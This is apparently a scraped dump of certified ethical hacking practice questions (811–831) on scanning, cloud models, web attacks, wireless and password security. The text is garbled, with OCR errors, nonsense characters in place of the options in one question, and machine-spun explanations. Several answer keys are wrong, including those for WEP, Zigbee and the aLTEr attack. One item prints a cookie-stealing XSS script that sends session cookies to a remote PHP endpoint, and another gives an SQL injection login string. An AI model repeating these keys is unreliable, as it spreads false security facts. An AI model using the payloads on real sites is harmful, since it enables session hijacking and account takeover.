QUESTION 811
Techno Security Inc. recently hired John as a penetration tester. He was tasked with identifying open ports in the target network and determining whether the ports are online and any firewall rule sets are encountered. John decided to perform a TCP SYN ping scan on the target network. Which of the following Nmap commands must John use to perform the TCP SVN ping scan?

A. nmap -sn -pp < target ip address >
B. nmap -sn -PO < target IP address >
C. Anmap -sn -PS < target IP address >
D. nmap -sn -PA < target IP address >

Answer: C

QUESTION 812
Heather's company has decided to use a new customer relationship management tool. After performing the appropriate research, they decided to purchase a subscription to a cloud-hosted solution. The only administrative task that Heather will need to perform is the management of user accounts. The provider will take care of the hardware, operating system, and software administration including patching and monitoring. Which of the following is this type of solution?

A. SaaS
B. IaaS
C. CaaS
D. PasS

Answer: A

QUESTION 813
A post-breach forensic investigation revealed that a known vulnerability in Apache Struts was to blame for the Equifax data breach that affected 143 million customers. A fix was available from the software vendor for several months prior 10 the Intrusion. This Is likely a failure in which of the following security processes?

A. vendor risk management
B. Security awareness training
C. Secure deployment lifecycle
D. Patch management

Answer: D

QUESTION 814
Bella, a security professional working at an it firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames. and passwords are shared In plaintext, paving the way for hackers 10 perform successful session hijacking. To address this situation. Bella Implemented a protocol that sends data using encryption and digital certificates. Which of the following protocols Is used by Bella?

A. FTP
B. HTTPS
C. FTPS
D. IP

Answer: B

QUESTION 815
There have been concerns in your network that the wireless network component is not sufficiently secure. You perform a vulnerability scan of the wireless network and find that it is using an old encryption protocol that was designed to mimic wired encryption, what encryption protocol is being used?

A. WEP
B. RADIUS
C. WPA
D. WPA3

Answer: C

QUESTION 816
Judy created a forum, one day. she discovers that a user is posting strange images without writing comments.
She immediately calls a security expert, who discovers that the following code is hidden behind those images:
```
<script>
document.writef<img src="https://Ioca(host/submitcookie.php? cookie ='+
escape(document.cookie)+ " />);
</script>
```
What issue occurred for the users who clicked on the image?

A. The code inject a new cookie to the browser.
B. The code redirects the user to another site.
C. The code is a virus that is attempting to gather the users username and password.
D. This php file silently executes the code and grabs the users session cookie and session ID.

Answer: D

QUESTION 817
Gilbert, a web developer, uses a centralized web API to reduce complexity and increase the Integrity of updating and changing data. For this purpose, he uses a web service that uses HTTP methods such as PUT. POST. GET. and DELETE and can improve the overall performance, visibility, scalability, reliability, and portability of an application. What is the type of web-service API mentioned in the above scenario?

A. JSON-RPC
B. SOAP API
C. RESTful API
D. REST API

Answer: D

QUESTION 818
An organization is performing a vulnerability assessment tor mitigating threats. James, a pen tester, scanned the organization by building an inventory of the protocols found on the organization's machines to detect which ports are attached to services such as an email server, a web server or a database server. After identifying the services, he selected the vulnerabilities on each machine and started executing only the relevant tests. What is the type of vulnerability assessment solution that James employed in the above scenario?

A. Product-based solutions
B. Tree-based assessment
C. Service-based solutions
D. inference-based assessment

Answer: C

QUESTION 819
What is the first step for a hacker conducting a DNS cache poisoning (DNS spoofing) attack against an organization?

A. The attacker queries a nameserver using the DNS resolver.
B. The attacker makes a request to the DNS resolver.
C. The attacker forges a reply from the DNS resolver.
D. The attacker uses TCP to poison the ONS resofver.

Answer: A

QUESTION 820
Emily, an extrovert obsessed with social media, posts a large amount of private information, photographs, and location tags of recently visited places. Realizing this. James, a professional hacker, targets Emily and her acquaintances, conducts a location search to detect their geolocation by using an automated tool, and gathers information to perform other sophisticated attacks. What is the tool employed by James in the above scenario?

A. ophcrack
B. Hootsuite
C. VisualRoute
D. HULK

Answer: B
Explanation:
Hootsuite may be a social media management platform that covers virtually each side of a social media manager's role. With only one platform users area unit ready to do the easy stuff like reverend cool content and schedule posts on social media in all the high to managing team members and measure ROI.
There area unit many totally different plans to decide on from, from one user set up up to a bespoken enterprise account that's appropriate for much larger organizations.

QUESTION 821
Abel, a security professional, conducts penetration testing in his client organization to check for any security loopholes. He launched an attack on the DHCP servers by broadcasting forged DHCP requests and leased all the DHCP addresses available in the DHCP scope until the server could not issue any more IP addresses. This led to a Dos attack, and as a result, legitimate employees were unable to access the clients network. Which of the following attacks did Abel perform in the above scenario?

A. VLAN hopping
B. DHCP starvation
C. Rogue DHCP server attack
D. STP attack

Answer: B

QUESTION 822
Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries, and other resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the five-tier container technology architecture. Currently. Abel is verifying and validating image contents, signing images, and sending them to the registries. Which of the following tiers of the container technology architecture Is Abel currently working in?

A. Tier-1: Developer machines
B. Tier-4: Orchestrators
C. Tier-3: Registries
D. Tier-2: Testing and accreditation systems

Answer: D
Explanation:
The official management decision given by a senior agency official to authorize operation of an information system and to explicitly accept the risk to agency operations (including mission, functions, image, or reputation), agency assets, or individuals, based on the implementation of an agreed-upon set of security controls. formal declaration by a designated accrediting authority (DAA) or principal accrediting authority (PAA) that an information system is approved to operate at an acceptable level of risk, based on the implementation of an approved set of technical, managerial, and procedural safeguards. See authorization to operate (ATO). Rationale: The Risk Management Framework uses a new term to refer to this concept, and it is called authorization.
Identifies the information resources covered by an accreditation decision, as distinguished from separately accredited information resources that are interconnected or with which information is exchanged via messaging. Synonymous with Security Perimeter. For the purposes of identifying the Protection Level for confidentiality of a system to be accredited, the system has a conceptual boundary that extends to all intended users of the system, both directly and indirectly connected, who receive output from the system. See authorization boundary. Rationale: The Risk Management Framework uses a new term to refer to the concept of accreditation, and it is called authorization. Extrapolating, the accreditation boundary would then be referred to as the authorization boundary.

QUESTION 823
in an attempt to increase the security of your network, you Implement a solution that will help keep your wireless network undiscoverable and accessible only to those that know It.
How do you accomplish this?

A. Delete the wireless network
B. Remove all passwords
C. Lock all users
D. Disable SSID broadcasting

Answer: D

QUESTION 824
Suppose that you test an application for the SQL injection vulnerability. You know that the backend database is based on Microsoft SQL Server. In the login/password form, you enter the following credentials:
Username: attack' or 1? -
Password: 123456
Based on the above credentials, which of the following SQL commands are you expecting to be executed by the server, if there is indeed an SQL injection vulnerability?

A. select * from Users where UserName ='attack or 1=1 -and UserPassword = '123456"
B. select * from users wherefuserName = 'attack' or 1=1 --'and UserPassword = '123456'
C. select * from Users where UserName ='attack" or 1=1 -and UserPassword = '123456'
D. select * from users where UserName"'attack'or 1=1 - and UserPassword "'123456'

Answer: D

QUESTION 825
If you want to only scan fewer ports than the default scan using Nmap tool, which option would you use?

A. 瓆
B. 璖
C. 璗
D. 瓓P

Answer: B

QUESTION 826
George is a security professional working for iTech Solutions. He was tasked with securely transferring sensitive data of the organization between industrial systems. In this process, he used a short-range communication protocol based on the IEEE 203.15.4 standard. This protocol is used in devices that transfer data infrequently at a low rate in a restricted area, within a range of 10-100 m. What is the short-range wireless communication technology George employed in the above scenario?

A. MQTT
B. LPWAN
C. Zigbee
D. NB-IOT

Answer: B

QUESTION 827
is a set of extensions to DNS that provide the origin authentication of DNS data to DNS clients (resolvers) so as to reduce the threat of DNS poisoning, spoofing, and similar types of attacks.

A. DNSSEC
B. Resource records
C. Resource transfer
D. Zone transfer

Answer: A

QUESTION 828
Larry, a security professional in an organization, has noticed some abnormalities In the user accounts on a web server. To thwart evolving attacks, he decided to harden the security of the web server by adopting a countermeasures to secure the accounts on the web server.
Which of the following countermeasures must Larry implement to secure the user accounts on the web server?

A. Enable unused default user accounts created during the installation of an OS
B. Enable all non-interactive accounts that should exist but do not require interactive login
C. Limit the administrator or toot-level access to the minimum number of users
D. Retain all unused modules and application extensions

Answer: C

QUESTION 829
By performing a penetration test, you gained access under a user account. During the test, you established a connection with your own machine via the SMB service and occasionally entered your login and password in plaintext. Which file do you have to clean to clear the password?

A. .X session-log
B. .bashrc
C. .profile
D. .bash_history

Answer: A

QUESTION 830
Ethical backer jane Doe is attempting to crack the password of the head of the it department of ABC company. She Is utilizing a rainbow table and notices upon entering a password that extra characters are added to the password after submitting. What countermeasure is the company using to protect against rainbow tables?

A. Password key hashing
B. Password salting
C. Password hashing
D. Account lockout

Answer: B
Explanation:
Passwords are usually delineated as "hashed and salted". salting is simply the addition of a unique, random string of characters renowned solely to the site to every parole before it's hashed, typically this "salt" is placed in front of each password. The salt value needs to be hold on by the site, which means typically sites use the same salt for each parole. This makes it less effective than if individual salts are used. The use of unique salts means that common passwords shared by multiple users ?like "123456" or "password" ?aren't revealed revealed when one such hashed password is known ?because despite the passwords being the same the immediately and hashed values are not.
Large salts also protect against certain methods of attack on hashes, including rainbow tables or logs of hashed passwords previously broken. Both hashing and salting may be repeated more than once to increase the issue in breaking the security.

QUESTION 831
Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. He installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby used this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session, upon receiving the users request. Bobby manipulated the traffic with the virtual tower and redirected the victim to a malicious website. What is the attack performed by Bobby in the above scenario?

A. Wardriving
B. KRACK attack
C. jamming signal attack
D. aLTEr attack

Answer: B